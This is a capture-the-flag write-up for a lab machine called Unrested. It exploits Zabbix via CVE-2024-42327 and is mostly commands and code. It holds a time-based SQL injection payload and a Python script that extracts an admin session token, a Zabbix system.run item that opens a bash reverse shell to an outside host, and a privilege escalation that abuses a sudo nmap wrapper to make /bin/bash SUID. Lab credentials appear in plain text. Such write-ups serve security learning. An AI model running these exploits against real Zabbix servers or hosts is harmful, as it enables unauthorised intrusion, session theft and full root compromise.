Explore the fundamentals of cybersecurity in the Unrested Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

10.10.11.50 unrested.htb

Script to add hosts automatically

ip="10.10.11.50"
domain="unrested.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

ports=$(nmap -p- --min-rate=1000 -T4 unrested.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV unrested.htb
Nmap scan report for unrested.htb (10.10.11.50)
Host is up (0.051s latency).

PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQL Injection CVE-2024-42327

https://support.zabbix.com/browse/ZBX-25623

ZabbixApi

auth=$(curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.login",
    "params": {
      "username": "matthew",
      "password": "96qzn0h2e1k3"
    },
    "id": 1
  }' | jq -r '.result')
echo "Auth token: $auth"
echo 'Updating user groups...'
curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.update",
    "params": {
      "userid": "3",
      "usrgrps": [
        {"usrgrpid": "13"},
        {"usrgrpid": "7"}
      ]
    },
    "auth": "'"$auth"'",
    "id": 1
  }' | jq
echo -e "\nFetching user details..."
curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
      "output": ["userid", "3"],
      "selectUsrgrps": ["usrgrpid", "name"],
      "filter": {
        "alias": "matthew"
      }
    },
    "auth": "'"$auth"'",
    "id": 1
  }' | jq
echo 'CVE-2024-42327'
time curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
        "output": ["userid", "username"],
        "selectRole": ["roleid", "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],
        "editable": 1
    },
    "auth": "'"$auth"'",
    "id": 1
}' -o /dev/null
cat > req <<EOF
POST /zabbix/api_jsonrpc.php HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 358
Host: 10.10.11.50:80
Content-Type: application/json-rpc
Connection: keep-alive

{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
        "output": ["userid", "username"],
        "selectRole": [
            "roleid",
            "name *"
        ],
        "editable": 1
    },
    "auth": "$auth",
    "id": 1
}
EOF
sqlmap -r "$(pwd)/req" --dbs --batch

Script

import requests
from datetime import datetime
import string
import sys
from concurrent.futures import ThreadPoolExecutor

URL = "http://unrested.htb/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"

def authenticate():
    payload = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {
            "username": USERNAME,
            "password": PASSWORD
        },
        "id": 1
    }
    response = requests.post(URL, json=payload)
    if response.status_code == 200:
        try:
            response_json = response.json()
            auth_token = response_json.get("result")
            if auth_token:
                print(f"Login successful! Auth token: {auth_token}")
                return auth_token
            else:
                print(f"Login failed. Response: {response_json}")
        except Exception as e:
            print(f"Error: {str(e)}")
    else:
        print(f"HTTP request failed with status code {response.status_code}")

def send_injection(auth_token, position, char):
    payload = {
        "jsonrpc": "2.0",
        "method": "user.get",
        "params": {
            "output": ["userid", "username"],
            "selectRole": [
                "roleid",
                f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} - (IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)"
            ],
            "editable": 1,
        },
        "auth": auth_token,
        "id": 1
    }
    before_query = datetime.now().timestamp()
    response = requests.post(URL, json=payload)
    after_query = datetime.now().timestamp()
    response_time = after_query - before_query
    return char, response_time

def test_characters_parallel(auth_token, position):
    with ThreadPoolExecutor(max_workers=10) as executor:
        futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
        for future in futures:
            char, response_time = future.result()
            if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
                return char
    return None

def print_progress(extracted_value):
    sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
    sys.stdout.flush()

def extract_admin_session_parallel(auth_token):
    extracted_value = ""
    max_length = 32
    for position in range(1, max_length + 1):
        char = test_characters_parallel(auth_token, position)
        if char:
            extracted_value += char
            print_progress(extracted_value)
        else:
            print(f"\n(-) No character found at position {position}, stopping.")
            break
    return extracted_value

if __name__ == "__main__":
    print("Authenticating...")
    auth_token = authenticate()
    print("Starting data extraction...")
    admin_session = extract_admin_session_parallel(auth_token)

Admin Revshell

nc -lvnp 9001
echo -n 'Admin Auth ? '; read auth
curl -s --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
      "jsonrpc": "2.0",
      "method": "host.get",
      "params": {
          "output": ["hostid", "host"],
          "selectInterfaces": ["interfaceid"]
      },
      "auth": "'"$auth"'",
      "id": 1
  }'
curl --request POST \
  --url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
      "jsonrpc": "2.0",
      "method": "item.create",
      "params": {
          "name": "rce",
          "key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.18/9001 0>&1'\'']",
          "delay": "1",
          "hostid": "10084",
          "type": 0,
          "value_type": 1,
          "interfaceid": "1"
      },
      "auth": "'"$auth"'",
      "id": 1
  }'

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;

PrivEsc nmap Wrapper

The user zabbix has sudo privileges to execute nmap as any user without a password:

sudo -l

Output:

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

Running:

sudo nmap --interactive

Output:

Interactive mode is disabled for security reasons.

This indicates a custom wrapper for nmap has been implemented by Zabbix to restrict certain functionality.

To confirm the wrapper:

cat $(which nmap)

The output reveals that it’s a wrapper script. However, we can bypass the restrictions using the --datadir option of nmap.

echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua
sudo /usr/bin/nmap --datadir=/tmp -sC localhost
ls -la /bin/bash
bash -p
cat /root/root.txt